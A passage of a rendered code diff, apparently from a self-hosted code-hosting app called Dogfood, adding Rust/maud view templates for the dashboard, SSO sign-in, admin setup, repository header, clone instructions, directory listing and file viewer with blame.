| 245 | + | pub user: &'a User, | |
| 246 | + | /// Open changes the viewer did not write and has not yet reviewed. | |
| 247 | + | pub awaiting: &'a [DashChange], | |
| 248 | + | pub mine: &'a [DashChange], | |
| 249 | + | pub activity: &'a [ActivityItem], | |
| 250 | + | pub repos: &'a [RepoSummary], | |
| 251 | + | } | |
| 252 | + | ||
| 253 | + | /// Signed-in dashboard. | |
| 254 | + | pub fn dashboard(d: Dashboard<'_>) -> Markup { | |
| 255 | + | let now = Utc::now(); | |
| 256 | + | ||
| 257 | + | html! { | |
| 258 | + | div .dash-head { | |
| 259 | + | div { | |
| 260 | + | h1 .display.dash-title { | |
| 261 | + | "Welcome back, " span .dash-name { (d.user.label()) } | |
| 262 | + | } | |
| 263 | + | p .dim { "Here's what needs you across your repositories." } | |
| 264 | + | } | |
| 265 | + | a .btn.btn-primary href="/new" { "New repository" } | |
| 266 | + | } | |
| 267 | + | ||
| 268 | + | @if d.repos.is_empty() { | |
| 269 | + | div .empty { | |
| 270 | + | h2 { "No repositories yet" } | |
| 271 | + | p { "Create one, then push to it with " code { "jj git push" } " or " code { "git push" } "." } | |
| 272 | + | p { a .btn.btn-primary href="/new" { "New repository" } } | |
| 273 | + | } | |
| 274 | + | } @else { | |
| 275 | + | div .landing-columns { | |
| 276 | + | div .landing-main { | |
| 277 | + | section aria-labelledby="awaiting-h" { | |
| 278 | + | div .section-head { | |
| 279 | + | h2 #awaiting-h .label-condensed.slash { "awaiting your review" } | |
| 280 | + | span .faint.mono.tnum { (d.awaiting.len()) } | |
| 281 | + | } | |
| 282 | + | @if d.awaiting.is_empty() { | |
| 283 | + | p .dim.section-note { "Nothing is waiting on you." } | |
| 284 | + | } @else { | |
| 285 | + | ul .feed { | |
| 286 | + | @for c in d.awaiting { (dash_change_row(c, now)) } | |
| 287 | + | } | |
| 288 | + | } | |
| 289 | + | } | |
| 290 | + | ||
| 291 | + | section aria-labelledby="mine-h" { | |
| 292 | + | div .section-head { | |
| 293 | + | h2 #mine-h .label-condensed.slash { "your open changes" } | |
| 294 | + | } | |
| 295 | + | @if d.mine.is_empty() { | |
| 296 | + | p .dim.section-note { "You have no open changes." } | |
| 297 | + | } @else { | |
| 298 | + | ul .feed { | |
| 299 | + | @for c in d.mine { (dash_change_row(c, now)) } | |
| 300 | + | } | |
| 301 | + | } | |
| 302 | + | } | |
| 303 | + | ||
| 304 | + | section aria-labelledby="activity-h" { | |
| 305 | + | div .section-head { | |
| 306 | + | h2 #activity-h .label-condensed.slash { "watched activity" } | |
| 307 | + | } | |
| 308 | + | @if d.activity.is_empty() { | |
| 309 | + | p .dim.section-note { "No recent activity in your repositories." } | |
| 310 | + | } @else { | |
| 311 | + | ul .activity { | |
| 312 | + | @for a in d.activity { (activity_row(a, now)) } | |
| 313 | + | } | |
| 314 | + | } | |
| 315 | + | } | |
| 316 | + | } | |
| 317 | + | ||
| 318 | + | aside .landing-aside aria-labelledby="dash-repos-h" { | |
| 319 | + | h2 #dash-repos-h .label-condensed.slash { "your repositories" } | |
| 320 | + | div .repo-cards { | |
| 321 | + | @for r in d.repos { (repo_card(r)) } | |
| 322 | + | a .repo-card-new href="/new" { "new repository" } | |
| 323 | + | } | |
| 324 | + | } | |
| 325 | + | } | |
| 326 | + | } | |
| 327 | + | } | |
| 328 | + | } | |
| 329 | + | ||
| 330 | + | fn dash_change_row(c: &DashChange, now: DateTime<Utc>) -> Markup { | |
| 331 | + | let href = format!("/{}/{}/changes/{}", c.owner, c.repo, c.number); | |
| 332 | + | ||
| 333 | + | html! { | |
| 334 | + | li .feed-row { | |
| 335 | + | div .feed-main { | |
| 336 | + | a .feed-title href=(href) { (c.title) } | |
| 337 | + | div .feed-meta { | |
| 338 | + | @if let Some(a) = &c.author { | |
| 339 | + | span .feed-actor { (a) } | |
| 340 | + | } | |
| 341 | + | span .faint { "in" } | |
| 342 | + | a .mono href=(format!("/{}/{}", c.owner, c.repo)) { | |
| 343 | + | (c.owner) "/" (c.repo) | |
| 344 | + | } | |
| 345 | + | span .faint aria-hidden="true" { "·" } | |
| 346 | + | span .faint.tnum title=(c.updated_at.format("%Y-%m-%d %H:%M UTC").to_string()) { | |
| 347 | + | (relative_time(c.updated_at, now)) | |
| 348 | + | } | |
| 349 | + | } | |
| 350 | + | } | |
| 351 | + | div .feed-side { | |
| 352 | + | (crate::views::change::state_badge(&c.state, c.conflicted)) | |
| 353 | + | (change_chip(&c.change_id, c.synthetic)) | |
| 354 | + | } | |
| 355 | + | } | |
| 356 | + | } | |
| 357 | + | } | |
| 358 | + | ||
| 359 | + | fn activity_row(a: &ActivityItem, now: DateTime<Utc>) -> Markup { | |
| 360 | + | let repo_href = format!("/{}/{}", a.owner, a.repo); | |
| 361 | + | ||
| 362 | + | html! { | |
| 363 | + | li .activity-row { | |
| 364 | + | span .activity-actor { (a.actor.as_deref().unwrap_or("someone")) } | |
| 365 | + | span .dim { " " (activity_verb(&a.kind)) " " } | |
| 366 | + | @if let (Some(n), Some(t)) = (a.change_number, &a.change_title) { | |
| 367 | + | a href=(format!("{repo_href}/changes/{n}")) { (t) } | |
| 368 | + | span .dim { " in " } | |
| 369 | + | } | |
| 370 | + | a .mono.faint href=(repo_href) { (a.owner) "/" (a.repo) } | |
| 371 | + | span .faint.tnum.activity-when | |
| 372 | + | title=(a.when.format("%Y-%m-%d %H:%M UTC").to_string()) { | |
| 373 | + | (relative_time(a.when, now)) | |
| 374 | + | } | |
| 375 | + | } | |
| 376 | + | } | |
| 377 | + | } | |
| 378 | + | ||
| 379 | + | /// The verb phrase for an event kind. | |
| 380 | + | /// | |
| 381 | + | /// Unknown kinds fall through to the raw kind rather than being dropped or | |
| 382 | + | /// silently relabelled — the same rule the change timeline follows, and for the | |
| 383 | + | /// same reason: an event the UI does not recognise still happened. | |
| 384 | + | fn activity_verb(kind: &str) -> &str { | |
| 385 | + | match kind { | |
| 386 | + | "change.opened" => "opened", | |
| 387 | + | "change.pushed" => "pushed to", | |
| 388 | + | "change.rebased" => "rewrote", | |
| 389 | + | "change.conflicted" => "hit a conflict on", | |
| 390 | + | "change.resolved" => "resolved conflicts on", | |
| 391 | + | "change.merged" => "merged", | |
| 392 | + | "change.abandoned" => "abandoned", | |
| 393 | + | "change.reopened" => "reopened", | |
| 394 | + | "change.drafted" => "drafted", | |
| 395 | + | "change.ready" => "marked ready", | |
| 396 | + | "change.reviewed" => "reviewed", | |
| 397 | + | "comments.rebased" => "re-anchored comments on", | |
| 398 | + | other => other, | |
| 399 | + | } | |
| 400 | + | } | |
| 401 | + | ||
| 402 | + | pub struct RepoSummary { | |
| 403 | + | pub owner: String, | |
| 404 | + | pub name: String, | |
| 405 | + | pub description: Option<String>, | |
| 406 | + | pub private: bool, | |
| 407 | + | } | |
| 408 | + | ||
| 409 | + | /// The sign-in page. | |
| 410 | + | /// | |
| 411 | + | /// SSO is the only method that exists. Passkeys and self-service sign-up are | |
| 412 | + | /// rendered as explicitly disabled rather than omitted: the design shows them, | |
| 413 | + | /// and a disabled control that says why is more honest than a live-looking | |
| 414 | + | /// button that does nothing. They carry `aria-disabled` and no `href`, so they | |
| 415 | + | /// are not in the tab order as if they were usable. | |
| 416 | + | pub fn signin(sso_href: &str) -> Markup { | |
| 417 | + | html! { | |
| 418 | + | div .signin { | |
| 419 | + | div .signin-intro { | |
| 420 | + | span .label-condensed.signin-eyebrow { "welcome back" } | |
| 421 | + | h1 .display.signin-title { "Sign in to your changes." } | |
| 422 | + | p .dim { | |
| 423 | + | "Single sign-on through your organization. No passwords to leak, \ | |
| 424 | + | rotate, or forget." | |
| 425 | + | } | |
| 426 | + | } | |
| 427 | + | ||
| 428 | + | a .btn.btn-primary.btn-block href=(sso_href) { "Continue with SSO" } | |
| 429 | + | ||
| 430 | + | div .signin-or { | |
| 431 | + | span .signin-rule aria-hidden="true" {} | |
| 432 | + | span .faint.mono { "or" } | |
| 433 | + | span .signin-rule aria-hidden="true" {} | |
| 434 | + | } | |
| 435 | + | ||
| 436 | + | span .btn.btn-block.is-disabled aria-disabled="true" | |
| 437 | + | title="Passkey sign-in is not available on this instance yet" { | |
| 438 | + | "Continue with a passkey" | |
| 439 | + | } | |
| 440 | + | ||
| 441 | + | p .hint.signin-foot { | |
| 442 | + | "New here? This instance is invitation-only — ask an administrator \ | |
| 443 | + | for an invitation." | |
| 444 | + | } | |
| 445 | + | } | |
| 446 | + | } | |
| 447 | + | } | |
| 448 | + | ||
| 449 | + | /// Shown when a valid login belongs to somebody who is not admitted. | |
| 450 | + | /// | |
| 451 | + | /// Deliberately says nothing about why, beyond that access is by invitation — | |
| 452 | + | /// enumerating the allowlist would be a disclosure. | |
| 453 | + | pub fn not_invited() -> Markup { | |
| 454 | + | html! { | |
| 455 | + | div .panel { | |
| 456 | + | h1 { "This instance is invitation-only" } | |
| 457 | + | p .lede { | |
| 458 | + | "You signed in successfully, but this account has not been invited to \ | |
| 459 | + | Dogfood. Ask an administrator for an invitation." | |
| 460 | + | } | |
| 461 | + | form method="post" action="/logout" { | |
| 462 | + | button .btn type="submit" { "Sign out" } | |
| 463 | + | } | |
| 464 | + | } | |
| 465 | + | } | |
| 466 | + | } | |
| 467 | + | ||
| 468 | + | /// Handle chooser, shown when one cannot be derived from the OIDC claims. | |
| 469 | + | pub fn choose_handle(suggested: Option<&str>, csrf: &str, error: Option<&str>) -> Markup { | |
| 470 | + | html! { | |
| 471 | + | div .panel { | |
| 472 | + | h1 { "Choose a handle" } | |
| 473 | + | p .lede { | |
| 474 | + | "Your handle appears in URLs, like " | |
| 475 | + | code { "dogfood.sh/your-handle/your-repo" } "." | |
| 476 | + | } | |
| 477 | + | @if let Some(e) = error { | |
| 478 | + | div .banner.banner-error role="alert" { (e) } | |
| 479 | + | } | |
| 480 | + | form method="post" action="/auth/handle" { | |
| 481 | + | input type="hidden" name="_csrf" value=(csrf); | |
| 482 | + | div .field { | |
| 483 | + | label for="handle" { "Handle" } | |
| 484 | + | input type="text" id="handle" name="handle" | |
| 485 | + | value=(suggested.unwrap_or("")) | |
| 486 | + | required | |
| 487 | + | minlength="1" maxlength="39" | |
| 488 | + | pattern="[a-z0-9][a-z0-9-]*" | |
| 489 | + | autocomplete="off" autofocus; | |
| 490 | + | p .hint { "Lowercase letters, digits and hyphens. Up to 39 characters." } | |
| 491 | + | } | |
| 492 | + | button .btn.btn-primary type="submit" { "Continue" } | |
| 493 | + | } | |
| 494 | + | } | |
| 495 | + | } | |
| 496 | + | } | |
| 497 | + | ||
| 498 | + | /// One-time site-admin claim. | |
| 499 | + | pub fn setup(csrf: &str, error: Option<&str>) -> Markup { | |
| 500 | + | html! { | |
| 501 | + | div .panel { | |
| 502 | + | h1 { "Claim site administrator" } | |
| 503 | + | p .lede { | |
| 504 | + | "Paste the setup token this instance printed to its logs on first boot. \ | |
| 505 | + | It can be used once." | |
| 506 | + | } | |
| 507 | + | @if let Some(e) = error { | |
| 508 | + | div .banner.banner-error role="alert" { (e) } | |
| 509 | + | } | |
| 510 | + | form method="post" action="/setup" { | |
| 511 | + | input type="hidden" name="_csrf" value=(csrf); | |
| 512 | + | div .field { | |
| 513 | + | label for="token" { "Setup token" } | |
| 514 | + | input type="password" id="token" name="token" required autocomplete="off" autofocus; | |
| 515 | + | } | |
| 516 | + | button .btn.btn-primary type="submit" { "Claim" } | |
| 517 | + | } | |
| 518 | + | } | |
| 519 | + | } | |
| 520 | + | } | |
| 521 | + | ||
| 522 | + | pub fn setup_done() -> Markup { | |
| 523 | + | html! { | |
| 524 | + | div .panel { | |
| 525 | + | div .banner.banner-ok role="status" { "You are now a site administrator." } | |
| 526 | + | p { a href="/" { "Go to the dashboard" } } | |
| 527 | + | } | |
| 528 | + | } | |
| 529 | + | } | |
Acrates/df-web/src/views/repo.rs666 lines+666−0
| @@ −0,0 +1,666 @@ | |||
| 1 | + | //! Repository browsing views (M2). | |
| 2 | + | ||
| 3 | + | use maud::{html, Markup, PreEscaped}; | |
| 4 | + | ||
| 5 | + | use df_store::{Bookmark, EntryKind, Revision, TreeEntry}; | |
| 6 | + | ||
| 7 | + | use crate::repo_ctx::RepoContext; | |
| 8 | + | ||
| 9 | + | /// Repository header: name, visibility, and the browse tabs. | |
| 10 | + | pub fn header(ctx: &RepoContext, active: &str) -> Markup { | |
| 11 | + | let base = ctx.base(); | |
| 12 | + | let tabs = [ | |
| 13 | + | ("code", "Code", base.clone()), | |
| 14 | + | ("changes", "Changes", format!("{base}/changes")), | |
| 15 | + | ("issues", "Issues", format!("{base}/issues")), | |
| 16 | + | ("bookmarks", "Bookmarks", format!("{base}/bookmarks")), | |
| 17 | + | ]; | |
| 18 | + | ||
| 19 | + | html! { | |
| 20 | + | div .repo-head { | |
| 21 | + | div .row { | |
| 22 | + | h1 .repo-title { | |
| 23 | + | a .repo-owner href=(format!("/{}", ctx.owner)) { (ctx.owner) } | |
| 24 | + | span .repo-slash aria-hidden="true" { "/" } | |
| 25 | + | a .repo-name href=(base) { (ctx.repo.name) } | |
| 26 | + | } | |
| 27 | + | @if !ctx.repo.is_public() { | |
| 28 | + | span .chip { "private" } | |
| 29 | + | } | |
| 30 | + | } | |
| 31 | + | @if let Some(d) = &ctx.repo.description { | |
| 32 | + | p .dim .repo-desc { (d) } | |
| 33 | + | } | |
| 34 | + | nav .subtabs .repo-tabs aria-label="Repository" { | |
| 35 | + | @for (key, label, href) in &tabs { | |
| 36 | + | a href=(href) .active[*key == active] | |
| 37 | + | aria-current=[(*key == active).then_some("page")] { | |
| 38 | + | (label) | |
| 39 | + | } | |
| 40 | + | } | |
| 41 | + | @if ctx.access.can_change_settings() { | |
| 42 | + | a .subtabs-end href=(format!("{base}/settings")) { "Settings" } | |
| 43 | + | } | |
| 44 | + | } | |
| 45 | + | } | |
| 46 | + | } | |
| 47 | + | } | |
| 48 | + | ||
| 49 | + | /// Clone instructions, shown on an empty repository. | |
| 50 | + | pub fn empty_repo(https: &str, ssh: &str) -> Markup { | |
| 51 | + | html! { | |
| 52 | + | div .panel { | |
| 53 | + | h2 { "Push your first change" } | |
| 54 | + | p .dim { | |
| 55 | + | "This repository is empty. Push to it with " code { "jj" } " or " code { "git" } "." | |
| 56 | + | } | |
| 57 | + | ||
| 58 | + | p .label-condensed style="margin-top:18px" { "Clone over HTTPS" } | |
| 59 | + | div .clone-box { code { "jj git clone " (https) } } | |
| 60 | + | ||
| 61 | + | p .label-condensed style="margin-top:14px" { "Clone over SSH" } | |
| 62 | + | div .clone-box { code { "jj git clone " (ssh) } } | |
| 63 | + | ||
| 64 | + | p .label-condensed style="margin-top:14px" { "Push an existing repository" } | |
| 65 | + | div .clone-box { | |
| 66 | + | code { "jj git remote add origin " (https) " && jj git push -b main" } | |
| 67 | + | } | |
| 68 | + | p .hint { | |
| 69 | + | "Over HTTPS, authenticate with your handle and a personal access token from " | |
| 70 | + | a href="/settings" { "settings" } "." | |
| 71 | + | } | |
| 72 | + | } | |
| 73 | + | } | |
| 74 | + | } | |
| 75 | + | ||
| 76 | + | /// File listing for a tree. | |
| 77 | + | /// The most recent revision on the branch being browsed. | |
| 78 | + | /// | |
| 79 | + | /// This is the *directory's* tip, not a per-file blame — see the note on | |
| 80 | + | /// `tree_listing`. | |
| 81 | + | pub struct TipCommit { | |
| 82 | + | pub author: String, | |
| 83 | + | pub summary: String, | |
| 84 | + | pub when: chrono::DateTime<chrono::Utc>, | |
| 85 | + | pub change_id: Option<String>, | |
| 86 | + | } | |
| 87 | + | ||
| 88 | + | /// A monogram stand-in for a user picture. | |
| 89 | + | /// | |
| 90 | + | /// Dogfood stores no avatars, and fetching one from a third-party service | |
| 91 | + | /// would leak the viewer's reading habits to that service on every page. Two | |
| 92 | + | /// letters in a box identify the author well enough for a listing. | |
| 93 | + | pub fn avatar(name: &str) -> Markup { | |
| 94 | + | let initials: String = name.chars().take(2).collect(); | |
| 95 | + | html! { | |
| 96 | + | span .avatar title=(name) aria-hidden="true" { (initials) } | |
| 97 | + | } | |
| 98 | + | } | |
| 99 | + | ||
| 100 | + | fn dir_icon() -> Markup { | |
| 101 | + | html! { | |
| 102 | + | svg .icon-dir width="16" height="16" viewBox="0 0 16 16" fill="none" aria-hidden="true" { | |
| 103 | + | path d="M1.5 4h4l1.5 2h7.5v6.5h-13V4Z" fill="currentColor" opacity="0.18" {} | |
| 104 | + | path d="M1.5 4h4l1.5 2h7.5v6.5h-13V4Z" stroke="currentColor" stroke-width="1.2" {} | |
| 105 | + | } | |
| 106 | + | } | |
| 107 | + | } | |
| 108 | + | ||
| 109 | + | fn file_icon() -> Markup { | |
| 110 | + | html! { | |
| 111 | + | svg .icon-file width="16" height="16" viewBox="0 0 16 16" fill="none" aria-hidden="true" { | |
| 112 | + | path d="M4 1.5h5l3 3v10h-8v-13Z" stroke="currentColor" stroke-width="1.2" {} | |
| 113 | + | path d="M9 1.5v3h3" stroke="currentColor" stroke-width="1.2" {} | |
| 114 | + | } | |
| 115 | + | } | |
| 116 | + | } | |
| 117 | + | ||
| 118 | + | /// The directory listing. | |
| 119 | + | /// | |
| 120 | + | /// The design puts a per-file "last change that touched this path" column here. | |
| 121 | + | /// Dogfood cannot fill it: the index records changes and revisions but never | |
| 122 | + | /// the paths a change touched, so there is nothing to join against. The column | |
| 123 | + | /// is therefore left out rather than filled with a plausible-looking value — | |
| 124 | + | /// showing the directory tip's message on every row would read as per-file | |
| 125 | + | /// history and be wrong on all but one of them. | |
| 126 | + | pub fn tree_listing( | |
| 127 | + | ctx: &RepoContext, | |
| 128 | + | rev_label: &str, | |
| 129 | + | path: &str, | |
| 130 | + | entries: &[TreeEntry], | |
| 131 | + | tip: Option<&TipCommit>, | |
| 132 | + | readme: Option<&(String, Markup)>, | |
| 133 | + | ) -> Markup { | |
| 134 | + | let base = ctx.base(); | |
| 135 | + | ||
| 136 | + | html! { | |
| 137 | + | div .row.tree-crumbs { | |
| 138 | + | span .label-condensed { "Browsing" } | |
| 139 | + | span .chip { (rev_label) } | |
| 140 | + | (breadcrumbs(&base, rev_label, path)) | |
| 141 | + | } | |
| 142 | + | ||
| 143 | + | @if let Some(t) = tip { | |
| 144 | + | div .commit-bar { | |
| 145 | + | (avatar(&t.author)) | |
| 146 | + | span .commit-bar-author { (t.author) } | |
| 147 | + | span .commit-bar-msg { (t.summary) } | |
| 148 | + | @if let Some(c) = &t.change_id { | |
| 149 | + | span .chip.chip-change.commit-bar-chip title=(format!("jj change id: {c}")) { | |
| 150 | + | (&c[..12.min(c.len())]) | |
| 151 | + | } | |
| 152 | + | } | |
| 153 | + | span .faint.tnum.commit-bar-when | |
| 154 | + | title=(t.when.format("%Y-%m-%d %H:%M UTC").to_string()) { | |
| 155 | + | (crate::views::relative_time(t.when, chrono::Utc::now())) | |
| 156 | + | } | |
| 157 | + | } | |
| 158 | + | } | |
| 159 | + | ||
| 160 | + | @if entries.is_empty() { | |
| 161 | + | div .filelist.filelist-standalone { | |
| 162 | + | p .dim style="padding:16px" { "This directory is empty." } | |
| 163 | + | } | |
| 164 | + | } @else { | |
| 165 | + | div .filelist .filelist-standalone[tip.is_none()] { | |
| 166 | + | table { | |
| 167 | + | caption .sr-only { "Files in this directory" } | |
| 168 | + | tbody { | |
| 169 | + | @if !path.is_empty() { | |
| 170 | + | tr { | |
| 171 | + | td .filelist-icon { | |
| 172 | + | a href=(parent_link(&base, rev_label, path)) aria-label="Parent directory" { | |
| 173 | + | (dir_icon()) | |
| 174 | + | } | |
| 175 | + | } | |
| 176 | + | td .filelist-name colspan="2" { | |
| 177 | + | a .mono href=(parent_link(&base, rev_label, path)) { ".." } | |
| 178 | + | } | |
| 179 | + | } | |
| 180 | + | } | |
| 181 | + | @for e in entries { | |
| 182 | + | tr { | |
| 183 | + | td .filelist-icon { | |
| 184 | + | a href=(entry_link(&base, rev_label, e)) tabindex="-1" aria-hidden="true" { | |
| 185 | + | @if e.kind == EntryKind::Directory { (dir_icon()) } @else { (file_icon()) } | |
| 186 | + | } | |
| 187 | + | } | |
| 188 | + | td .filelist-name { | |
| 189 | + | a .mono href=(entry_link(&base, rev_label, e)) | |
| 190 | + | .is-dir[e.kind == EntryKind::Directory] { | |
| 191 | + | (e.name) | |
| 192 | + | } | |
| 193 | + | @if e.kind == EntryKind::Symlink { | |
| 194 | + | span .faint .filelist-note { "symlink" } | |
| 195 | + | } | |
| 196 | + | } | |
| 197 | + | td .filelist-size.faint.tnum { | |
| 198 | + | @if let Some(s) = e.size { (human_size(s)) } | |
| 199 | + | } | |
| 200 | + | } | |
| 201 | + | } | |
| 202 | + | } | |
| 203 | + | } | |
| 204 | + | } | |
| 205 | + | } | |
| 206 | + | ||
| 207 | + | @if let Some((name, body)) = readme { | |
| 208 | + | article .readme { | |
| 209 | + | div .readme-head { | |
| 210 | + | (file_icon()) | |
| 211 | + | span .mono.dim { (name) } | |
| 212 | + | } | |
| 213 | + | div .readme-body.markdown-body { (body) } | |
| 214 | + | } | |
| 215 | + | } | |
| 216 | + | } | |
| 217 | + | } | |
| 218 | + | ||
| 219 | + | /// How a markdown file is being shown. | |
| 220 | + | /// | |
| 221 | + | /// `None` means the file is not markdown, so no toggle appears at all. | |
| 222 | + | pub enum MarkdownView<'a> { | |
| 223 | + | /// Showing the rendered document. | |
| 224 | + | Rendered(&'a Markup), | |
| 225 | + | /// Showing the highlighted source. | |
| 226 | + | Source, | |
| 227 | + | } | |
| 228 | + | ||
| 229 | + | /// Extra data passed to the blob view for the enhanced code view layout. | |
| 230 | + | pub struct BlobExtras<'a> { | |
| 231 | + | /// File tree entries for the sidebar (the directory containing this file). | |
| 232 | + | pub sidebar_entries: &'a [TreeEntry], | |
| 233 | + | /// The directory shown in the sidebar. | |
| 234 | + | pub sidebar_dir: &'a str, | |
| 235 | + | /// Symbols extracted from the file for the outline panel. | |
| 236 | + | pub symbols: &'a [df_render::symbols::Symbol], | |
| 237 | + | /// The last commit that modified this file. | |
| 238 | + | pub last_commit: Option<&'a df_store::Revision>, | |
| 239 | + | /// Per-line blame data (when the user toggled blame on). | |
| 240 | + | pub blame: Option<&'a [df_store::BlameLine]>, | |
| 241 | + | /// Whether blame was requested. | |
| 242 | + | pub wants_blame: bool, | |
| 243 | + | } | |
| 244 | + | ||
| 245 | + | impl<'a> Default for BlobExtras<'a> { | |
| 246 | + | fn default() -> Self { | |
| 247 | + | BlobExtras { | |
| 248 | + | sidebar_entries: &[], | |
| 249 | + | sidebar_dir: "", | |
| 250 | + | symbols: &[], | |
| 251 | + | last_commit: None, | |
| 252 | + | blame: None, | |
| 253 | + | wants_blame: false, | |
| 254 | + | } | |
| 255 | + | } | |
| 256 | + | } | |
| 257 | + | ||
| 258 | + | /// A single file. | |
| 259 | + | /// | |
| 260 | + | /// The rendered/source toggle is two real URLs rather than a scripted control, | |
| 261 | + | /// so it works with JavaScript disabled like the rest of the product (spec §7) | |
| 262 | + | /// and each view can be linked to directly. | |
| 263 | + | /// | |
| 264 | + | /// The toggle says "source" rather than the design's "raw" because this page | |
| 265 | + | /// already has a Raw button that downloads the file. Two different controls | |
| 266 | + | /// both labelled "raw" on one page would be a worse outcome than the wording | |
| 267 | + | /// drifting from the mock. | |
| 268 | + | pub fn blob_view( | |
| 269 | + | ctx: &RepoContext, | |
| 270 | + | rev_label: &str, | |
| 271 | + | path: &str, | |
| 272 | + | body: BlobBody<'_>, | |
| 273 | + | markdown: Option<MarkdownView<'_>>, | |
| 274 | + | extras: &BlobExtras<'_>, | |
| 275 | + | ) -> Markup { | |
| 276 | + | let base = ctx.base(); | |
| 277 | + | let raw = format!("{base}/raw/{rev_label}/{path}"); | |
| 278 | + | let here = format!("{base}/blob/{rev_label}/{path}"); | |
| 279 | + | // Binary and oversized files have no editable representation. | |
| 280 | + | let editable = matches!(body, BlobBody::Text { .. }); | |
| 281 | + | let showing_source = matches!(markdown, Some(MarkdownView::Source)); | |
| 282 | + | ||
| 283 | + | html! { | |
| 284 | + | // Last commit bar for this file. | |
| 285 | + | @if let Some(lc) = extras.last_commit { | |
| 286 | + | div .file-commit-bar { | |
| 287 | + | (avatar(&lc.author.name)) | |
| 288 | + | span .commit-bar-author { (lc.author.name) } | |
| 289 | + | span .commit-bar-msg { (lc.summary()) } | |
| 290 | + | @if let Some(c) = &lc.change_id { | |
| 291 | + | span .chip.chip-change title="change id" { | |
| 292 | + | (&c[..12.min(c.len())]) | |
| 293 | + | } | |
| 294 | + | } | |
| 295 | + | span .faint.tnum | |
| 296 | + | title=(lc.author.when.format("%Y-%m-%d %H:%M UTC").to_string()) { | |
| 297 | + | (crate::views::relative_time(lc.author.when, chrono::Utc::now())) | |
| 298 | + | } | |
| 299 | + | } | |
| 300 | + | } | |
| 301 | + | ||
| 302 | + | div .code-view-layout { | |
| 303 | + | // ─── Left sidebar: file tree ───────────────────────────────── | |
| 304 | + | aside .code-sidebar-left aria-label="File tree" { | |
| 305 | + | div .sidebar-header { | |
| 306 | + | (dir_icon()) | |
| 307 | + | span .mono.dim { | |
| 308 | + | @if extras.sidebar_dir.is_empty() { | |
| 309 | + | "/" | |
| 310 | + | } @else { | |
| 311 | + | (extras.sidebar_dir) | |
| 312 | + | } | |
| 313 | + | } | |
| 314 | + | } | |
| 315 | + | nav .file-tree { | |
| 316 | + | @if !extras.sidebar_dir.is_empty() { | |
| 317 | + | a .file-tree-item.file-tree-parent href=( | |
| 318 | + | parent_link(&base, rev_label, extras.sidebar_dir) | |
| 319 | + | ) { | |
| 320 | + | (dir_icon()) ".." | |
| 321 | + | } | |
| 322 | + | } | |
| 323 | + | @for e in extras.sidebar_entries { | |
| 324 | + | @let is_current = e.path == path; | |
| 325 | + | a .file-tree-item | |
| 326 | + | .is-dir[e.is_dir()] | |
| 327 | + | .is-current[is_current] | |
| 328 | + | href=(entry_link(&base, rev_label, e)) | |
| 329 | + | aria-current=[is_current.then_some("page")] { | |
| 330 | + | @if e.is_dir() { (dir_icon()) } @else { (file_icon()) } | |
| 331 | + | (e.name) | |
| 332 | + | } | |
| 333 | + | } | |
| 334 | + | } | |
| 335 | + | } | |
| 336 | + | ||
| 337 | + | // ─── Center: code panel ────────────────────────────────────── | |
| 338 | + | div .code-panel { | |
| 339 | + | div .panel { | |
| 340 | + | div .row style="margin-bottom:12px" { | |
| 341 | + | span .chip { (rev_label) } | |
| 342 | + | (breadcrumbs(&base, rev_label, path)) | |
| 343 | + | span style="margin-left:auto" {} | |
| 344 | + | ||
| 345 | + | // Blame toggle | |
| 346 | + | @if editable { | |
| 347 | + | @if extras.wants_blame { | |
| 348 | + | a .btn.btn-sm href=(here.clone()) { "Hide Blame" } | |
| 349 | + | } @else { | |
| 350 | + | a .btn.btn-sm href=(format!("{here}?blame=1")) { "Blame" } | |
| 351 | + | } | |
| 352 | + | } | |
| 353 | + | ||
| 354 | + | @if markdown.is_some() { | |
| 355 | + | div .segmented role="group" aria-label="Markdown view" { | |
| 356 | + | a .segmented-item .is-on[!showing_source] href=(here.clone()) { | |
| 357 | + | "rendered" | |
| 358 | + | } | |
| 359 | + | a .segmented-item .is-on[showing_source] | |
| 360 | + | href=(format!("{here}?view=source")) { | |
| 361 | + | "source" | |
| 362 | + | } | |
| 363 | + | } | |
| 364 | + | } | |
| 365 | + | ||
| 366 | + | // Editing needs push access and a text file. Offered only where | |
| 367 | + | // it would actually work, rather than shown and then refused. | |
| 368 | + | @if ctx.access.can_push() && !ctx.repo.archived && editable { | |
| 369 | + | a .btn href=(format!("{base}/edit/{rev_label}/{path}")) { "Edit" } | |
| 370 | + | } | |
| 371 | + | a .btn href=(raw) { "Raw" } | |
| 372 | + | } | |
| 373 | + | ||
| 374 | + | @if let Some(MarkdownView::Rendered(doc)) = &markdown { | |
| 375 | + | div .readme-body.markdown-body { (doc) } | |
| 376 | + | } @else { | |
| 377 | + | @match body { | |
| 378 | + | BlobBody::Text { content, lines, highlighted, language, plain_reason } => { | |
| 379 | + | div .codeblock { | |
| 380 | + | table .mono .codetable { | |
| 381 | + | tbody { | |
| 382 | + | @for (n, line) in content.lines().enumerate() { | |
| 383 | + | tr id=(format!("L{}", n + 1)) { | |
| 384 | + | // Blame gutter (when active) | |
| 385 | + | @if let Some(blame) = extras.blame { | |
| 386 | + | @if let Some(bl) = blame.get(n) { | |
| 387 | + | td .blame-cell title=(format!("{} — {}", bl.author, bl.summary)) { | |
| 388 | + | span .blame-author { | |
| 389 | + | (bl.author.chars().take(12).collect::<String>()) | |
| 390 | + | } | |
| 391 | + | } | |
| 392 | + | } @else { | |
| 393 | + | td .blame-cell {} | |
| 394 | + | } | |
| 395 | + | } | |
| 396 | + | td .faint .lineno { | |
| 397 | + | a href=(format!("#L{}", n + 1)) { (n + 1) } | |
| 398 | + | } | |
| 399 | + | td .codeline { | |
| 400 | + | @match highlighted.get(n) { | |
| 401 | + | Some(h) => (maud::PreEscaped(h.as_str())), | |
| 402 | + | None => (line), | |
| 403 | + | } | |
| 404 | + | } | |
| 405 | + | } | |
| 406 | + | } | |
| 407 | + | } | |
| 408 | + | } | |
| 409 | + | } | |
| 410 | + | p .hint { | |
| 411 | + | (lines) " lines" | |
| 412 | + | @if let Some(l) = language { " · " (l) } | |
| 413 | + | @if let Some(why) = plain_reason { " · " (why) } | |
| 414 | + | } | |
| 415 | + | } | |
| 416 | + | BlobBody::Binary { size } => { | |
| 417 | + | div .empty { | |
| 418 | + | h2 { "Binary file" } | |
| 419 | + | p { (human_size(size)) " — not shown." } | |
| 420 | + | p { a .btn href=(raw) { "Download" } } | |
| 421 | + | } | |
| 422 | + | } | |
| 423 | + | BlobBody::TooLarge { size, limit } => { | |
| 424 | + | div .empty { | |
| 425 | + | h2 { "File is too large to display" } | |
| 426 | + | p { (human_size(size)) ", over the " (human_size(limit)) " render limit." } | |
